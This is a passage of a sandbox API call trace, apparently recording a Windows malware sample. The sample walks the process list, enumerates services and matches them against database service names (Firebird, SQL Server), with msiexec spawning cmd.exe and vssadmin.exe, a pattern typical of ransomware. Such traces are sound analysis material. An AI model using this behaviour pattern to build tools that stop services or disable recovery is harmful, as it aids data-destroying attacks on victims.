(lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0122.606] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0122.606] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0122.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0122.606] lstrlenW (lpString="wscsvc") returned 6 [0122.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0122.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0122.606] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0122.606] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0122.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0122.606] lstrlenW (lpString="wuauserv") returned 8 [0122.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0122.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0122.606] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0122.606] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0122.606] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x200 [0122.608] Process32FirstW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0122.609] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0122.609] lstrlenW (lpString="System") returned 6 [0122.609] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0122.610] lstrlenW (lpString="smss.exe") returned 8 [0122.610] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0122.613] lstrlenW (lpString="csrss.exe") returned 9 [0122.613] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0122.613] lstrlenW (lpString="wininit.exe") returned 11 [0122.613] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0122.614] lstrlenW (lpString="csrss.exe") returned 9 [0122.614] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0122.615] lstrlenW (lpString="winlogon.exe") returned 12 [0122.615] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0122.615] lstrlenW (lpString="services.exe") returned 12 [0122.615] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0122.616] lstrlenW (lpString="lsass.exe") returned 9 [0122.616] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0122.617] lstrlenW (lpString="lsm.exe") returned 7 [0122.617] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.617] lstrlenW (lpString="svchost.exe") returned 11 [0122.617] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.618] lstrlenW (lpString="svchost.exe") returned 11 [0122.618] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.619] lstrlenW (lpString="svchost.exe") returned 11 [0122.619] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.619] lstrlenW (lpString="svchost.exe") returned 11 [0122.619] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.620] lstrlenW (lpString="svchost.exe") returned 11 [0122.620] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0122.621] lstrlenW (lpString="audiodg.exe") returned 11 [0122.621] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.621] lstrlenW (lpString="svchost.exe") returned 11 [0122.621] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.622] lstrlenW (lpString="svchost.exe") returned 11 [0122.622] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0122.623] lstrlenW (lpString="dwm.exe") returned 7 [0122.623] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0122.623] lstrlenW (lpString="explorer.exe") returned 12 [0122.623] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0122.624] lstrlenW (lpString="spoolsv.exe") returned 11 [0122.624] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0122.625] lstrlenW (lpString="taskhost.exe") returned 12 [0122.625] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.625] lstrlenW (lpString="svchost.exe") returned 11 [0122.625] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0122.626] lstrlenW (lpString="taskeng.exe") returned 11 [0122.626] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0122.627] lstrlenW (lpString="taskhost.exe") returned 12 [0122.627] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="fixwaves.exe")) returned 1 [0122.627] lstrlenW (lpString="fixwaves.exe") returned 12 [0122.627] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="class-file-contributors.exe")) returned 1 [0122.628] lstrlenW (lpString="class-file-contributors.exe") returned 27 [0122.628] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma-ending-office.exe")) returned 1 [0122.629] lstrlenW (lpString="soma-ending-office.exe") returned 22 [0122.629] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="monsaver.exe")) returned 1 [0122.629] lstrlenW (lpString="monsaver.exe") returned 12 [0122.629] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="dosesugar.exe")) returned 1 [0122.630] lstrlenW (lpString="dosesugar.exe") returned 13 [0122.630] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="plants-funded-stockings.exe")) returned 1 [0122.631] lstrlenW (lpString="plants-funded-stockings.exe") returned 27 [0122.631] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotchangelog.exe")) returned 1 [0122.631] lstrlenW (lpString="forgotchangelog.exe") returned 19 [0122.631] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="nonprofit top.exe")) returned 1 [0122.632] lstrlenW (lpString="nonprofit top.exe") returned 17 [0122.632] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="investigations_sciences.exe")) returned 1 [0122.633] lstrlenW (lpString="investigations_sciences.exe") returned 27 [0122.633] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused.exe")) returned 1 [0122.633] lstrlenW (lpString="accused.exe") returned 11 [0122.633] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="governance.exe")) returned 1 [0122.634] lstrlenW (lpString="governance.exe") returned 14 [0122.634] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="old.exe")) returned 1 [0122.635] lstrlenW (lpString="old.exe") returned 7 [0122.635] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="xi cg.exe")) returned 1 [0122.635] lstrlenW (lpString="xi cg.exe") returned 9 [0122.635] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="greatly-medicines-poll.exe")) returned 1 [0122.636] lstrlenW (lpString="greatly-medicines-poll.exe") returned 26 [0122.636] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="burlington.exe")) returned 1 [0122.846] lstrlenW (lpString="burlington.exe") returned 14 [0122.846] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carried-announcement-endorsed.exe")) returned 1 [0122.847] lstrlenW (lpString="carried-announcement-endorsed.exe") returned 33 [0122.847] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="buildings.exe")) returned 1 [0122.847] lstrlenW (lpString="buildings.exe") returned 13 [0122.847] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="predictions_took.exe")) returned 1 [0122.848] lstrlenW (lpString="predictions_took.exe") returned 20 [0122.848] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carry_dns.exe")) returned 1 [0122.849] lstrlenW (lpString="carry_dns.exe") returned 13 [0122.849] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="SauvegardeProjet.exe")) returned 1 [0122.887] lstrlenW (lpString="SauvegardeProjet.exe") returned 20 [0122.887] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.888] lstrlenW (lpString="svchost.exe") returned 11 [0122.888] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0122.889] lstrlenW (lpString="sppsvc.exe") returned 10 [0122.889] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.889] lstrlenW (lpString="svchost.exe") returned 11 [0122.890] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0122.890] lstrlenW (lpString="msiexec.exe") returned 11 [0122.890] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xad4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0122.891] lstrlenW (lpString="cmd.exe") returned 7 [0122.891] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0122.892] lstrlenW (lpString="conhost.exe") returned 11 [0122.892] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb50, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0122.893] lstrlenW (lpString="vssadmin.exe") returned 12 [0122.893] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0122.893] lstrlenW (lpString="VSSVC.exe") returned 9 [0122.893] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.894] lstrlenW (lpString="svchost.exe") returned 11 [0122.894] Process32NextW (in: hSnapshot=0x200, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0122.895] CloseHandle (hObject=0x200) returned 1 [0122.895] Sleep (dwMilliseconds=0x1f4) [0123.585] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52ea30 [0123.585] EnumServicesStatusExW (in: hSCManager=0x52ea30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 0 [0123.585] GetLastError () returned 0xea [0123.586] EnumServicesStatusExW (in: hSCManager=0x52ea30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x391a000, cbBufSize=0x1484, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x391a000, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 1 [0123.586] CloseServiceHandle (hSCObject=0x52ea30) returned 1 [0123.586] lstrlenW (lpString="Appinfo") returned 7 [0123.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0123.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0123.586] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0123.586] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0123.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0123.586] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0123.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0123.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0123.587] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0123.587] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0123.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0123.587] lstrlenW (lpString="AudioSrv") returned 8 [0123.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0123.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0123.587] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0123.587] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0123.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0123.587] lstrlenW (lpString="BFE") returned 3 [0123.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0123.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0123.587] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0123.587] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0123.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0123.587] lstrlenW (lpString="CryptSvc") returned 8 [0123.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0123.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0123.587] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0123.587] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0123.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0123.587] lstrlenW (lpString="CscService") returned 10 [0123.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0123.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0123.587] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0123.587] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0123.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0123.587] lstrlenW (lpString="DcomLaunch") returned 10 [0123.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0123.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0123.587] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0123.588] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0123.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0123.588] lstrlenW (lpString="Dhcp") returned 4 [0123.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0123.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0123.588] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0123.588] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0123.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0123.588] lstrlenW (lpString="Dnscache") returned 8 [0123.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0123.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0123.588] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0123.588] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0123.588] lstrcmpiW (lpString1="sqlserveradhelper", 